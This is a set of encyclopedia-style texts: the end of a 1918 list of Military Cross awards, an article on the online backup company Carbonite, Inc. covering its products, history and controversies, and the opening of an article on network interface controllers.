Capt. John Millar Pauline, Royal Canadian Reg.
Lt. Hugh Stowell Pedley, Inf.
Lt. Arthur John Plant, Inf.
Capt. Arthur Plow, Inf.
Lt. Harold George Porter, Mounted Rifles
Capt. Laurent Jacques Joseph Puanode, Engineers
Capt. John Edward Puaslow, Inf.
Lt. Colin Esdaile Richardson, Engineers
Lt. William Augustus Richardson, Arty.
Capt. William Francis Richardson, Engineers
Lt. FredRiley, Pioneer Battalion
Lt. William Malcolm Ross, Inf.
Lt. Frank Dalton Scruton, Inf.
Capt. Robert James Shore, Railway Troops
Lt. Lester Luther Spalding, Labour Battalion
Sgt. Major Oscar Percy Stensaud, Canadian Army Medical Corps
Capt. Alan Edgeworth Stewart, Engineers
Lt. Ormond Montgomery Stitt, Engineers
Capt. Richard Arthur Tauton, Inf.
Lt. Melville Tenbrocke, Inf.
Lt. James Balfour Thorn, Engineers
Lt. Melville Fitzgerald Thomson, Inf.
Hon. Capt. Rev. Miles Nicholas Tompkins, Canadian Chaplains Service
Lt. Archer John Toole, Inf.
Q.M. and Hon. Capt. Oliver Travers, Inf.
Lt. Howard Warner Tye, Inf.
Lt. Thomas George Vant, Machine Gun Corps
Lt. William Vassie, Arty.
Lt. Cecil Steven Walley, Engineers
Lt. Henry Ward, Inf., attd. Machine Gun Corps
Lt. James Ward, Trench Mortar Battery Arty.
Lt. Albert Edward White, Inf.
Lt. Alfred Manson White, Railway Troops
Lt. McLeod White, Engineers
Q.M. and Hon. Capt. James Pye Richardson Whittle, Inf.
Capt. Harry Wishart Whytock, Canadian Army Medical Corps
Capt. Algernon Edward Willaughby, Royal Canadian Reg.
Capt. Richard Todd Wilson Herald, Canadian Army Medical Corps
Lt. Harold Gladstone Wood, Inf.
Lt. Eric Raymond Woodward, Engineers
Capt. Alexander Campbell Young, Engineers
Capt. William Frederick Abbott, Canadian Army Medical Corps
Lt. George Griffith Aitken, Canadian Field Arty.
Lt. Oswald Pearson Arkless, Inf.
Lt. Richard Babb, Machine Gun Corps
Lt. William Cornwallis Bate, Engineers
Lt. James Gordon Beatty, Canadian Field Arty.
Capt. Reginald Vernon Blackburn, Inf.
Lt. Percy Lytton Bonsall, Railway Troops
Lt. Gerard Renvoize Bradbrooke, Machine Gun Corps
Lt. Edward Samuel Brett, Inf.
Lt. Donald Cameron, Inf.
Lt. Hugh Clayton Cameron, Inf.
Lt. Lome Douglas Campbell, Inf.
Lt. James Murdoch Christie, Inf.
Lt. Shirley Adam Clarke, Inf.
Rev. Thomas Collins Colwell, Canadian Chaplains Service
Capt. Albert Ernest Horsman Coo, Inf.
Lt. William Joseph Cowen, Cav.
Lt. Charles Douglas Crowe, Canadian Field Arty.
Capt. Henry Clarke Davis, Canadian Army Medical Corps
Rev. William Henry Davis, Canadian Chaplains Service
Lt. Irvin Harrison Dawson, Canadian Field Arty.
Lt. Arthur Wemyss Deacon, Mounted Rifles
Lt. William Edward Denley, Inf.
Lt. Joshua Emile Dorey, Inf.
Lt. George Frederick Douglas, Machine Gun Corps
Lt. Russell Howard Elliott, Inf.
Lt. Matthew Langdon Ellis, Machine Gun Corps
Lt. Arthur Thomas Field, Inf.
Lt. Edward William Fleming, Cav.
Lt. Norman Franks, Inf.
Lt. John Howard Gainor, Inf.
Lt. John Stupart Galbraith, Inf.
Capt. Donald Arthur Gait, Inf.
Lt. Ernest Irving Gill, Canadian Field Arty.
Lt. Alexander Watson Gregory, Inf.
Lt. Alexander Grant Gunn, Inf.
Lt. Joseph Robson Hardy, Inf.
Lt. Edward Hart, Garrison Arty.
Lt. John Curtis Hartley, Machine Gun Corps
Lt. Robert Angus Hay, Engineers
Lt. Clarence Bruce Hill, Canadian Field Arty.
Lt. Arthur Ernest Hall Holland, Inf.
Lt. Bertram Edward Hull, Inf.
Capt. Walter Jewitt, Inf.
Lt. Herbert Hough ton Johnson, Engineers
Lt. William Johnstons, Inf.
Lt. Frederick Howard Marling Jones, Engineers
Lt. Howard Kennedy, Engineers
Capt. Frank Clifton Little, Inf.
Lt. Haydon Stratton Lyle, Mounted Rifles
Lt. Donald Bain MacCaskill, Inf.
Lt. Keith Campbell MacGowan, Inf.
Capt. James Frederick Stewart Marshall, Army Medical Corps
Lt. Leslie Martin, Inf.
Lt. James Mavor, Mounted Rifles
Lt. Arthur William May, Inf.
Rev. Thomas McCarthy, Canadian Chaplains Service
Lt. Merrick Rennie McCracken, Engineers
Lt. James Maxwell McIlquham, Canadian Field Arty.
Lt. Robert McIntyre, Inf.
Lt. Alfred Edward McKay, Inf.
Lt. James Day McKeown, Canadian Field Arty.
Lt. Joseph Graham McKnight, Inf.
Lt. Brydone de Blois Millidge, Canadian Field Arty.
Capt. William Gordon Moffatt, Inf.
Capt. Thomas Williamson Moore, Army Medical Corps
Lt. William Cedric Nicholson, Machine Gun Corps
Tmp Lt. Fleming Pinkston O'Reilly, Machine Gun Corps
Lt. Beecher Doran Poyser, Mounted Rifles
Capt. Henry Frederick Preston, Army Medical Corps
Lt. Brian Lee Reid, Railway Troops
Capt. Walter Hepburn Scott, Army Medical Corps
Lt. James Gordon Searles, Machine Gun Corps
Lt. Raymond Sellar, Inf.
Lt. Bernard Shipton Mounted Rifles
Lt. Charles Dayrell Shreve, Canadian Field Arty.
Lt. Edmund George Alpheus Smart, Inf.
Lt. William Henry Smith, Railway Troops
Lt. Rolsa Eric Smythe, Inf.
Rev. Thomas Hudson Stewart, Canadian Chaplains Service
Capt. Ray Farquhar Studd, Inf.
Lt. Howard Sutherland, Inf.
Lt. Albert Ernest Thorne, Inf.
Tmp Capt. John William Tipton, Inf.
Lt. John Arnold Trewhitt, Canadian Field Arty.
Lt. Ray Hargreave Warne, Mounted Rifles
Lt. William Chester Warren, Inf.
Capt. Ernest Coulter Whitehouse, Canadian Army Medical Corps
Capt. Le Roy Zimmerman Wilson, Railway Troops
Lt. Fred Campbell Young, Acting Battery, Machine Gun Corps
C.S. Maj. James Campbell Hutchison, Inf.
C.S. Maj. John Nash, Mounted Rifles
Lt. Harry McNeven Alexander, Inf.
Lt. Robert Andrews, Mounted Rifles Battalion
Lt. Gordon Henry Applegath, Inf.
Lt. Harold Lynn Atto, Mounted Rifles Battalion
Capt. Edwin Godfrey Phipps Baker, Inf.
Lt. John Balfour, Cyclist Battalion
Capt. Leonard Halliday Bertram, Inf.
Lt. Wilford Edward Bull, Engineers
Lt. Harry Maxwell Camp, Inf.
Lt. Glidden Campbell, Inf.
Lt. Leonard Proctor Chalmers, Inf.
Lt. Herbert Read Christie, Engineers
Lt. Walter Findlay Clarke, Royal Canadian Horse Arty.
Lt. Joseph Patrick Connolly, Machine Gun Corps
Lt. Louis Auguste Coulin, Inf.
Lt. Vernon Bland Crothers, Dragoons
Lt. Gordon Charles Davidson, Mounted Rifles Battalion
Lt. Tempest Carroll McPherson St. Etienne de Wolf, Inf.
Capt. Edgar Douglas, Army Medical Corps
Lt. Clarence Johnston Dryden, Inf.
Lt. William Waugh Dunlop, Inf.
Lt. George Hendry Ferguson, Engineers
Lt. William Frank Findlay, Inf.
Capt. Arthur Douglas Fisken, Inf.
Lt. Cecil John French, Machine Gun Corps
Lt. Harry Roy Gifford, Mounted Rifles Battalion
Lt. Charles Victor Grantham, Machine Gun Corps
Capt. James Hamilton, Inf.
Lt. Charles Edwin Fulcher Hiscocks, Inf.
Lt. George Hobson, Machine Gun Corps
Lt. William Gilbert Humphries, Field Arty.
Lt. Charles Meldrum Inglis, Inf.
Capt. Austin Dwight Irvine, Army Medical Corps
Lt. Hector John Roderick Jackson, Engineers
Lt. Harry Jardine, Field Arty.
Capt. Gordon Leigh Jepson, Army Medical Corps
Lt. Walter Wallace Johnson, Inf.
Capt. Arthur Ellis Jones, Labour Battalion
Lt. Joseph John Kavanagh, Inf.
Lt. Arthur Rubin Kilborn, Inf.
Lt. Robert Duff Kinmond, Engineers
Lt. Harold Oakley Leach, Machine Gun Corps
Lt. Gerald Charles Huntingdon Lindsell, Inf.
Lt. Alexander William Logie, Mounted Rifles Battalion
Lt. James Boyd Maclachlan, Garrison Arty.
Lt. Alexander MacLean, Field Arty.
Lt. Norman Philips Macleod, Garrison Arty.
Capt. James Grant MacNeill, Army Medical Corps
Lt. James Forrest Currie Maunder, Field Arty.
Lt. Roderick George May, Lord Strathcona's Horse
Lt. Vivian-Stewart Cass McClenaghan, Engineers
Lt. Ernest Victor McKague, Cyclist Corps
Lt. Donald Grant McNeil, Machine Gun Corps
Lt. Harry Lyall McPherson, Field Arty.
Lt. Charles Edmund McRae, Inf.
Capt. William Blight Megloughlin, Inf.
Capt. John McIntosh Millar, Inf.
Lt. Leslie Howard Millar, Mounted Rifles Battalion
Lt. Bernhard Coeure Montagnon, Machine Gun Corps
Lt. George Murray, Inf.
Tmp Capt. William Henry Douglas Murray, Railway Construction Company
Lt. Arthur Nicholls, Royal Canadian Reg.
Lt. Rupert Austin Orme, Inf.
Lt. Richmond Archie Payne, Inf.
C.S. Maj. Charles Peacock, Inf.
Tmp Lt. George Peck, Railway Construction Company
Lt. Maurice Arthur Pope, Engineers
Lt. Sidney Quinton, Inf.
Lt. Edward Leonard Rainboth, Machine Gun Corps
Capt. Theodore Hampton Oswald Rayward, Inf.
Lt. Charles Stanley Reed-Riches, Army Service Corps
Capt. Harold Roche, Field Arty.
Lt. Herbert Mackenzie Ross, Inf.
Capt. John Horace Roy, Inf.
Lt. Hugh McMaster Scott, Inf.
Capt. Wesley Herbert Secord, Army Medical Corps
Capt. William Ewing Sinclair, Army Medical Corps
Lt. Warren Russell Skey, Field Arty.
Capt. John Onion Slaght, Inf.
Lt. Sydney Welton Thurber, Inf.
Lt. William Vernon, Inf.
Lt. William Frederick Welch, Inf.
Lt. Leonard Alfred Welsh, Lord Strathcona's Horse
Capt. John Douglas Young, Inf.
Newfoundland Force
Lt. Stanley Charles Goodyear, Newfoundland Reg.
2nd Lt. Gerald Joseph Whitty, Newfoundland Reg.
New Zealand Force
Capt. Forbes Herbert Anderson, Army Service Corps
Capt. Norman Annabell, Headquarters, Engineers
Lt. Ralph FitzRoger Bidwell Beetham, Mounted Rifles
Lt. Ralph John Black, Engineers
2nd Lt. Guy Bridgeman, Arty.
Capt. William Gillers Borrie New Zealand Medical Corps
Capt. David Bruce, Pioneer Battalion
Capt. John Connor New Zealand Medical Corps
Lt. James Type Dallinger, 1st Battalion, Wellington Reg.
Capt. Harry Delamere Dansey, Pioneer Battalion
Lt. Arthur Gordon Dean, 1st Battalion, Canterbury Reg.
Capt. Robert Wakelin Dunn, Arty.
Capt. James Evans, Inf.
Lt. Alfred Onslow Glasse, Engineers
Capt. Kenneth Farquharson Gordon, New Zealand Medical Corps
2nd Lt. Fritz Stanley Goulding, New Zealand Rifle Brigade
2nd Lt. Gordon Verney Gow, New Zealand Rifle Brigade
Q.M. and Hon. Lt. Roland Justice Hill, Otago Reg.
Lt. Christopher Ingram, Auckland Reg.
Capt. James Gordon Jeffery, Arty.
Capt. Frederick Noel Johns New Zealand Medical Corps
Lt. Henry Mark Keesing, New Zealand Rifle Brigade
Lt. Edward Levien, Mounted Rifles Reg.
Lt. Gerald Lyon, Field Arty.
Lt. Ewen John McGregor, Machine Gun Corps
Capt. Hector Campbell MacKenzie, Machine Gun Corps
Rev. Walter McClean, New Zealand Chaplains' Dept.
Capt. Cyril Henry Molloy, Otago Reg.
Capt. Bruce Haultain Morison, Wellington Reg.
Capt. Thomas Wyville Leonard Rutherford, Canterbury Reg.
2nd Lt. George Albert Tuck, Auckland Reg.
Capt. Joseph Kendrick Venables, New Zealand Medical Corps
2nd Lt. Walter George Wainscott, Engineers
Capt. William Huatahi Walker, Pioneer Battalion
Capt. Malcolm McPherson Watt, Otago Reg.
Lt. Alfred Thomas White, Wellington Reg.
Capt. Thomas Martin Wilkes, Rifle Brigade
Capt. Newman Robert Wilson, Canterbury Reg.
2nd Lt. Charles Ronald McKenzie, New Zealand Field Arty.
Lt. Malcolm Carmichael Milne, Mounted Rifles
2nd Lt. Ernest Horton Picot, New Zealand Machine Gun Corps
Lt. Kenneth James Tait, Mounted Rifles
Capt. Rex Carrington Brewster Medical Corps
2nd Lt. Allan Farquhar, Canterbury Reg.
2nd Lt. Charles Albert Gray, Canterbury Mounted Rifles Reg.
Capt. George Herbert Gray, Canterbury Reg.
2nd Lt. Randolph Norman Gray, Canterbury Reg.
Lt. John Nelmes Hines, Otago Reg.
Lt. Alfred Cecil Christian Hunter, Canterbury Reg.
Lt. Hugh Johnston, Canterbury Reg.
Lt. David McAuley, Otago Reg.
Capt. Robert Francis Mitchell, Otago Mounted Rifles
Lt. Caro James Pierce, Wellington Mounted Rifles Reg.
South African Force
Tmp Capt. Philip Harold Guise Brown, Inf.
Tmp Paymaster and Hon. Lt. Alfred George Charter, Rifles
Tmp Lt. Alfred Edgar Court, Rifles
Capt. Edward Arthur Davies, Inf.
Lt. Percival Henry Ellis, Inf.
Tmp Capt. Alexander Buchan Fyffe, South African Service Corps
Tmp 2nd Lt. William Edward Harris, Inf.
Tmp Capt. Samuel Heath, South African Service Corps (East African)
Capt. Ernest Hill, South African Medical Corps
Tmp Capt. Edmund Mullinger Jarvis, Veterinary Corps
Tmp Capt. Simon Frederick Kos, Engineers (Wireless Section)
Lt. William Maclean, Inf.
Tmp Capt. Francis McEwan Mitchell, Inf.
Capt. Duncan Macmillan, Motor Cyclist Corps
Tmp Capt. Benjamin Thomas Kelly Markham, South African Service Corps
2nd Lt. Samuel Marshall, Signal Company
2nd Lt. Percy Charles Neille, Inf.
Lt. Robert Okell, Engineer Troops
Tmp Lt. Immers de Maurigsault Overbeck, South African Service Corps
Tmp Capt. Arthur Llewellyn Pepper, South African Defence Force
Lt. Harry Rissik, South African Forces
2nd Lt. Wilfred Frank Steedman, Inf., attd. Intel Dept.
Tmp Lt. James Gordon Stewart, Arty.
Lt. William Twist, Engineers Troops
Battery Sergeant Major Arthur James Wardill, Arty.
R.S. Maj. Robert Wells, Inf.
Tmp Capt. William Grahame Wood, Inf.
Tmp Capt. William Howorth Wood, Engineers
Awarded a Bar to the Military Cross (MC*)
Tmp 2nd Lt. Robert Edgar Herring Army Service Corps
Lt. Alfred Cyril Whitworth Hobson Royal Field Arty.
Lt. Edward Percy Noel Jones Royal Field Arty.
Tmp Capt. Robert Briffault RAMC
Tmp Capt. Maurice Smith Bryce RAMC
Tmp Capt. George Beatty Burwell RAMC
Tmp Capt. Eric Cornwallis Day Shropshire Light Inf.
Tmp Capt. Gerald Hugh de la Pasture King's African Rifles
Lt. Edwin Arthur Eden Royal Arty.
Tmp Capt. Charles Hugh Emerson Lincolnshire Reg.
Tmp Lt. Harold Charles de Courcy Evans King's African Rifles
Capt. Gerard William Hodgkinson Yeomanry and Royal Flying Corps
Lt. Edward Haughton James Yeomanry, attd. Dorsetshire Reg.
Capt. Stephen Grey Latham Northamptonshire Reg.
Tmp Capt. James MacGregor RAMC
Rev. Canon Arthur Edwin Ross Royal Army Chaplains' Dept.
Capt. Walter Somerville Scott Lancashire Fusiliers, attd. Royal Flying Corps
2nd Lt. William Skeat Essex Reg.
Tmp Lt. Maurice Strode Royal West Surrey Reg.
2nd Lt. George William Symes York & Lancaster Reg., attd. Machine Gun Corps
Tmp Capt. Bernard Charles Tennent RAMC
Lt. George Gustavus Walker Scots Guards
Capt. Charles Louis Waters Royal Berkshire Reg.
Lt. Arthur Cecil Willison Nottinghamshire and Derbyshire Reg.
Lt. Christopher Geoffrey Woolner Royal Engineers
Lt. Jehu Fosbrooke Gerrard Aubin Durham Light Inf.
Lt. Reginald Andrew Bateman Manchester Reg., attd. Royal Warwickshire Reg.
Tmp Capt. Robert Ernest Beckerson Norfolk Reg.
Tmp Lt. Wilfred Dennes Royal Field Arty.
Lt. Edward Edwards Lincolnshire Reg.
Capt. Austin Gardner Essex Reg.
2nd Lt. John King George Gloucestershire Reg.
Tmp Capt. Albert Ernest Haynes Royal Field Arty.
2nd Lt. John Purslow Howells Royal West Surrey Reg.
Lt. Frederick Chater Jack Royal Field Arty.
Lt. Thomas Jenkins Royal Field Arty.
2nd Lt. Charles Kelly London Reg.
2nd Lt. Russell Medley Leake North Lancashire Reg.
Tmp 2nd Lt. John Winter Little Border Reg.
Lt. Maurice Stanley Lush Royal Garrison Arty.
Tmp 2nd Lt. Sidney Albert Macey Devonshire Reg.
2nd Lt. Francis James Charles Marshall Devonshire Reg.
Lt. Frederick William Broadbent Maufe Royal Field Arty.
Tmp Lt. Albert Edward Odell General List, attd. Royal Engineers
Tmp Capt. Arthur John Hinkson Patten Norfolk Reg.
Lt. Winthrop Pyemont Royal Engineers
Tmp Surgeon James Ness McBean Ross attd. Royal Marines
2nd Lt. Sydney John Cenlivres Russell Border Reg.
Capt. Robert Bell Stewart RAMC
2nd Lt. Bernard Watson Stirling Royal Field Arty.
Tmp 2nd Lt. Joseph Summerville Yorkshire Reg.
Tmp Capt. Francis Ruthven Thornton RAMC
Lt. Owen Murton Wales South Wales Borderers
2nd Lt. George Sholto Ripley Webb Royal Berkshire Reg., attd. Trench Mortar Battery
Tmp Lt. John Wells Devonshire Reg.
2nd Lt. William Gladstone Wylie Durham Light Inf.
Capt. Cuthbert Delaval Shafto Agassiz RAMC
Lt. John Samuel Aikman Argyll and Sutherland Highlanders
2nd Lt. George Henry Garstin Anderson Rifle Brigade
Tmp Lt. Thomas Geoffrey Lyon Ashwell Rifle Brigade
2nd Lt. Felix Charles Baker London Reg.
2nd Lt.-Stuart Gordon Beer London Reg.
Tmp Capt. Arthur Joseph Blake RAMC
Capt. Richard Bryans Shropshire Light Inf.
Tmp Capt. Edward Alexander Chisholm Royal Field Arty.
Lt. William Hofmeyr Craib Royal Field Arty.
Lt. Thomas Henry Clifford Davis Royal Field Arty.
Capt. Richard Day Royal Field Arty.
Tmp Capt. Harold Anthony Denison Kings Royal Rifle Corps
Capt. Eric Alfred Charles Fazan RAMC
Lt. Oswald Spencer Francis Royal Berkshire Reg.
Lt. Arnold Fraser-Campbell Argyll and Sutherland Highlanders
Tmp Capt. Harry Percy Bright-Gough Welsh Reg.
Capt. John Frederick Hodges Royal Irish Fusiliers
Lt. Claud Mitchell Hughes-Games Gloucestershire Reg.
Rev. Joseph Wellington Hunkin Royal Army Chaplains' Dept.
Lt. William Stewart Ironside Royal Field Arty.
Lt. Henry Harris Jago Devonshire Reg.
Lt. Edward William Francis Jephson Royal Field Arty.
Tmp Capt. Percy Lewis Jones Royal Garrison Arty.
Lt. William Knight Essex Reg.
Lt. Conrad Lally Royal Flying Corps
Lt. Godfrey Frank Mackwood Ling West Yorkshire Reg.
Tmp Capt. James Wallace Macfarlane RAMC
Lt. Loudoun James MacLean Royal Engineers, and Royal Flying Corps
Tmp Capt. Edward Leslie Marshall Royal Inniskilling Fusiliers
Capt. Samuel McCausland RAMC
Lt. James Kenneth McConnel Hussars
Capt. Austin Timaeus Miller Nottinghamshire and Derbyshire Reg.
Tmp Lt. Vincent Newton Moss East Kent Reg.
Tmp Lt. Clarence Mumford South Wales Borderers
2nd Lt. Randolph Nicholson Royal Field Arty.
Lt. Basil Conquest Pascoe Rifle Brigade
Tmp Lt. Harold Edward Pope Royal Garrison Arty.
2nd Lt. Henry Godden Rerrie York & Lancaster Reg.
Lt. Derek Charles Houghton Richardson Lancers
Tmp Lt. Abraham Rothfield Durham Light Inf.
Lt. Hugh Rowlands London Reg.
Capt. Desmond Henry Sykes Somerville South Wales Borderers
Lt. Aubrey Causton Strachan Royal Field Arty.
Tmp Lt. Peter Thompson Northumberland Fusiliers
Capt. Joseph Stephen Wallace RAMC
Tmp Capt. William Edward Walter-Symons Royal Garrison Arty.
Tmp Capt. Philip Ernest Williams Royal Welsh Fusiliers
Australian Imperial Force
Capt. David MacDonald Steele Australian Army Medical Corps
Canadian Force
Capt. Gerald Gardiner Anglin Inf.
Capt. Edward James Clark Mounted Rifles
Lt. Alfred Henry Cowie Inf.
Capt. The Hon. Francis Egerton Grosvenor Inf.
Capt. Melville Mason Hart Mounted Rifles
Capt. Donald Bruce Martyn Inf.
Lt. Harry Leonard Nowell Salmon Inf.
Lt. Lewis Younger Inf.
Newfoundland Force
Capt. Reginald Grant Paterson Newfoundland Reg.
Awarded a Second Bar to the Military Cross (MC**)
Lt. Edward Budd Irish Guards
Tmp Capt. Fred Roland Berridge Northamptonshire Reg.
Tmp Capt. George D'Rastrik Carr RAMC
Sub-Lt. Walter Kilroy Harris Royal Naval Volunteer Reserve
Tmp Lt. Victor Cadifor Hilditch Royal Field Arty.
Tmp Lt. Charles Hubert Anthony Huxtable Royal Field Arty.
Tmp Lt. Harold Arthur Redding Suffolk Reg.
Tmp Capt. John Alexander Walbeoffe-Wilson Middlesex Reg.
2nd Lt. Alfred Clarence Youdale Royal Flying Corps
References
New Year Honours
1918 awards
1918 in Australia
1918 in Canada
1918 in India
1918 in New Zealand
1918 in the United Kingdom
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22537674
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https://en.wikipedia.org/wiki/Carbonite%2C%20Inc.
|
Carbonite, Inc.
|
Carbonite, Inc. is an American company that offers an online backup service, available to Windows and macOS users. In 2019 it was acquired by Canadian software company, OpenText. It backs up documents, e-mails, music, photos, and settings. It is named after carbonite, the fictional substance used to freeze Han Solo in Star Wars: The Empire Strikes Back. Carbonite was the first such service to offer unlimited backup space for a fixed price. Previously, all online backup services were priced by the gigabyte; many other vendors have since changed to an unlimited model.
Carbonite offers two separate lines of products: Carbonite Home and Home Office for individuals, families, and one- or two-person businesses; and Carbonite Small Business for businesses with three or more computers.
At one time in its history, Carbonite was named "Best Windows Backup Tool" by Lifehacker, "Labs Winner" by PC Pro, and "Editor's Choice" by NextAdvisor, but received only "two mice" in a MacWorld review putting it second to last.
Product details
Carbonite Online Backup installs a client software program on the user’s computer that operates continuously in the background. This client software automatically seeks out new and changed files on the user’s computer and backs them up using incremental backup. Each file is compressed and encrypted using a 128-bit Blowfish encryption before it is sent to remote servers at the company's data centers via the Internet. (This of course requires that the user's computer be continually connected to the internet, and the speed of the internet connection will impact system performance.) Data is transmitted to the servers using a secure SSL link. The encrypted files are stored on 15-drive RAID 6 storage arrays.
The program is designed to automatically back up user-generated content including text documents, spreadsheets, financial documents, photos, music, etc. The 2017 PC Magazine review found that a few audio files and photos were omitted from the backup without obvious reason.
Videos and files larger than 4 gb require manual backup in the base-priced version. The terms allow Carbonite to release information to law enforcement upon demand or if Carbonite suspects illegal use.
This would help law enforcement if Carbonite can give them the encryption key, which they can for all Mac and most Windows users.
Windows users can manage their own key by selecting "Advanced" during installation. Users cannot make the key private later if they initially let Carbonite manage it.
If Carbonite manages the key, users can download files to any computer.
If the user manages the key, user can only access files from the backed up computer (File Explorer/This PC/Carbonite Drive),
and if that computer is inaccessible, the user must upload and let Carbonite manage the key before accessing the backed up files from another computer.
The Terms let Carbonite delete files with or without notice, but normally they keep the three most recent versions, and one version per day for the past week, one per week for 3 weeks before that, and 1 per month for 2 and 3 months ago. They also delete files which were deleted by the user more than 30 days before, or when payment ends. Carbonite offers telephone support to recover from ransomware viruses. Terms also disclaim any warranties and damages, require arbitration in Boston, and disallow class action suits. Terms require users to pay (indemnify) Carbonite's losses if they relate to improper actions by the user.
On a Windows PC, Carbonite backs up everything in the Documents and Settings folder, including the desktop, favorites, and all other files except for temporary, log and video files. Any file or folder can be added to the default backup if it is on a local (internal) drive formatted with the FAT32 or NTFS file systems. (According to the Carbonite website, the Home version will only backup internal drives whereas the HomePlus and HomePremium versions will also backup external drives.) The backup software integrates with Windows Explorer, adding green dots to the file icons of any backed up file. Adding or removing files from the backup is done using the right mouse button and the Windows context menus. The Windows version of Carbonite will keep multiple versions of backed up files.
Carbonite can recover from some forms of Ransomware but this requires contacting Carbonite customer service.
For Intel-based Macs running Mac OS X 10.4 (Tiger) or 10.5 (Leopard), Carbonite is controlled through System Preferences and using the contextual menu. File systems supported 'by default' on Mac OS X are supported by the Mac client with the exception of FAT.
The program also includes a remote access application that allows individual files to be downloaded to any computer using a web browser.
Company profile
CEO David Friend and CTO Jeff Flowers founded Carbonite in 2005, the fifth joint venture for the pair who also together founded Computer Pictures, Pilot Software, FaxNet and Sonexis. Friend had also been an executive at ARP Instruments, Inc., a pioneering electronic music synthesizer manufacturer, in the 1970s.
Since its launch in 2006, Carbonite has backed up more than 100 billion files and has restored more than 7 billion lost files for its customers.
Carbonite introduced their Macintosh version for Intel-based Macs with OS 10.4 or 10.5 in March 2009.
In 2017, Carbonite acquired Mozy, a cloud based backup solution from Dell Technologies for $145.8 million.
In 2019, Carbonite acquired Webroot, which delivers multi-vector Cybersecurity protection for endpoints and networks, as well as threat intelligence services to protect businesses and individuals for $618.5 million.
On November 11, 2019, Open Text Corporation announced it had signed a definitive agreement to acquire Carbonite Inc. for $23.00 per share USD in cash. Open Text said that it plans to initiate the tender offer within 10 business days, take up any untendered shares through mandatory take up provisions in applicable legislation, expects the transaction to close within 90 days, and that the purchase price of $1.42 billion is inclusive of debt and equity.
History
The product debuted at Staples in 2006 when it focused on photo backup and offered a free six-month subscription with all camera purchases. It partnered with Microsoft in 2006 to include the program with purchase of Microsoft Money 2007, and renewed the following year for the 2008 edition.
In 2007 it was named ‘Top Private Company’ by AlwaysOn in 2007.
It has partnered with several other backup, storage, and file transfer companies: with Ipswitch, Inc. in 2007 to provide the service to purchasers of their FTP client, OLBEX in 2007 to offer the service to U.S. cable companies, Sonic Solutions in 2008 to provide core technologies for their digital media storage solution, and with TDS Telecom in 2008 to provide core technologies for their online backup service, and with LaCie in 2008,to power their online backup. It partnered with Lifeboat Distribution in 2008, to enhance distribution coverage within North America.
It partnered with Packard Bell in 2008, the first partnership between an independent online backup company and major PC manufacturer, providing all purchasers of their desktop and notepad computers in Europe a free four-month subscription. It subsequently partnered also with Lenovo in 2008, to have the service pre-loaded on their PCs, and with Acer to have their online backup service pre-installed on select PCs. Acer signed on for a similar arrangement in 2009.
In 2009, it admitted loss of backups of "over 7,500 customers" in a lawsuit filed against Promise Technology, a hardware provider.
On June 6, 2011, Carbonite acquired Phanfare. Carbonite declined to honor Phanfare lifetime memberships, instead granting lifetime members $299 in Phanfare credit which would expire after three years if unused. Two days later, Phanfare founder and CEO, Andrew Erlichson notified lifetime subscribers that customers requesting a refund will be paid not by Carbonite, but what remains of Phanfare, Inc.
Funding
In 2006, it secured $2.5 million in series A financing from 3i, Keiretsu Forum and CommonAngels; in 2007 it completed $15 million series B financing led by Menlo Ventures.
in 2008 it secured additional $5 million in series B-2 funding and completed C round financing with approximately $20 million of new capital, led by Performance Equity of Stamford, Connecticut; in 2010 it closed a mezzanine round of funding with the total financing raised to $67 million. Carbonite made its IPO in August 2011, raising $62.5 million in its offering.
On 4 Feb 2013, Carbonite announced that its net loss for the full year 2012 was ($18.9) million, compared to ($23.5) million in 2011. Since its inception in 2005, NASDAQ:CARB has lost in excess of ($120,000,000) of public and private investment. The company's SEC financial reports state: "We expect to continue to incur GAAP operating losses on an annual basis for the foreseeable future".
Amazon review controversy
Carbonite reviews on Amazon were a subject of controversy in early 2009. Apparently, employees of the company posted favorable testimonial-style ads on Amazon in 2006, including those by senior members of the management team. Additionally, the New York Times reported that the CEO was made aware of the situation in September 2008 but did nothing to remove the false postings until the NY Times blog appeared in January 2009.
Misleading advertising controversy
The Advertising Standards Authority (ASA) in the United Kingdom ruled on August 1, 2012, that Carbonite had misled consumers by describing its online backup as unlimited. Following a complaint, the ASA investigated and found that due to bandwidth restrictions for uploading data, which limit upload to 2 Mbit/s for the first 200 GB but then to only 100 kbit/s once 200 GB had been exceeded, the backup was not unlimited. Therefore, the advert was "likely to mislead consumers".
Additionally, Carbonite breached rule 1.7 of the CAP Code for failing to respond to the ASA's charges.
In 2014, Carbonite stated that they have eliminated bandwidth throttling for all of their customers.
Releases
version 1.4 (late 2005) of Carbonite Photo Backup
version 2.0 (May 2006) Carbonite Unlimited Backup
version 2.1 (February 2007) with added support for Windows Vista
version 2.3 (June 2007) with added block-level incremental backup
Launch (2007) of Online Backup Service in French and German
version 3.0 (August 2007) with added online backup simplification processes
version 3.5 (January 2008) with enhanced user controls and saving up to three months of previous file versions
Launches (2008) Dutch, Portuguese, Spanish and Japanese versions
version 3.6 (June 2008) with improved backup speed for large files and other performance enhancements
version 3.7 (March 2009) with user-requested enhancements
Adds remote file access (2009)
Launches (2009) Carbonite Online Backup for Intel-based Macs with OS 10.4 or 10.5 in March 2009
version 4.0 ( September 2010)
Releases iPad app and updates for iPhone and BlackBerry apps
Launches (2011) Carbonite Small Business offering
See also
Comparison of online backup services
List of backup software (includes managed backup providers)
References
External links
Boston Business Journal Carbonite calls for backup: files $100M IPO
Cloud storage
Online backup services
Software companies based in Massachusetts
Technology companies based in the Boston area
Companies formerly listed on the Nasdaq
Companies based in Boston
2019 mergers and acquisitions
Internet properties established in 2006
Software companies established in 2006
American companies established in 2006
2006 establishments in Massachusetts
2011 initial public offerings
American subsidiaries of foreign companies
Software companies of the United States
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243613
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https://en.wikipedia.org/wiki/Network%20interface%20controller
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Network interface controller
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A network interface controller (NIC, also known as a network interface card, network adapter, LAN adapter or physical network interface, and by similar terms) is a computer hardware component that connects a computer to a computer network.
Early network interface controllers were commonly implemented on expansion cards that plugged into a computer bus. The low cost and ubiquity of the Ethernet standard means that most newer computers have a network interface built into the motherboard, or is contained into a USB-connected dongle.
Modern network interface controllers offer advanced features such as interrupt and DMA interfaces to the host processors, support for multiple receive and transmit queues, partitioning into multiple logical interfaces, and on-controller network traffic processing such as the TCP offload engine.
Purpose
The network controller implements the electronic circuitry required to communicate using a specific physical layer and data link layer standard such as Ethernet or Wi-Fi. This provides a base for a full network protocol stack, allowing communication among computers on the same local area network (LAN) and large-scale network communications through routable protocols, such as Internet Protocol (IP).
